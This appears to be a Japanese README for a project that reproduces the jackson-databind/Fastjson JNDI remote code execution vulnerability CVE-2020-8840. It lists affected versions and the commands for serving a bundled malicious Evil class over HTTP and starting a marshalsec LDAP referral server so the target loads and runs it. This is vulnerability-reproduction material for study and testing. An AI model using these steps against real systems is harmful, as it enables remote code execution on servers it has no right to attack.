Jackson-databindリモートコード実行脆弱性(CVE-2020-8840)の分析・再現環境コード。
プロジェクト内容:
jackson-databind、Fastjsonのペイロードmarshalsec-0.0.3-SNAPSHOT-all.jarJackson-databindのリモートコード実行脆弱性(CVE-2020-8840)。攻撃者はxbean-reflectの利用チェーン(org.apache.xbean.propertyeditor.JndiConverter)を利用してJNDIリモートクラスロードをトリガーし、リモートコード実行を達成できます。
この脆弱性は、一部のバージョンのjackson-databindとFastjsonにも影響します。
影響範囲:2.0.0 <= FasterXML jackson-databind <= 2.9.10.2

サンプルコード内で指定されているLDAPサービスは、自分で構築する必要があります。
WebServer
HTTPサービスを起動し、悪意のあるクラスを配置します(プロジェクト内にEvil.javaクラスが同梱されています)。
python -m http.server 2222

LDAPサービス
Marshalsec ツールをダウンロードしてjarにコンパイルし、LDAPサービスを起動して、codebaseアドレス(悪意のあるクラスを配置するWebServer)を設定します。
利便性のため、ダウンロードやコンパイルの手間を省けるよう、プロジェクトにもmarshalsec-0.0.3-SNAPSHOT-all.jarを同梱しています(プロジェクトのコードはわずかですが、サイズが大きい主な理由はこのjarです)。JDK8でコンパイル済みです。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2222/#Evil

影響範囲:Fastjson <= 1.2.62
再現環境は上記と同じです。WebServerとLDAPサービスを自分で構築して起動してください。
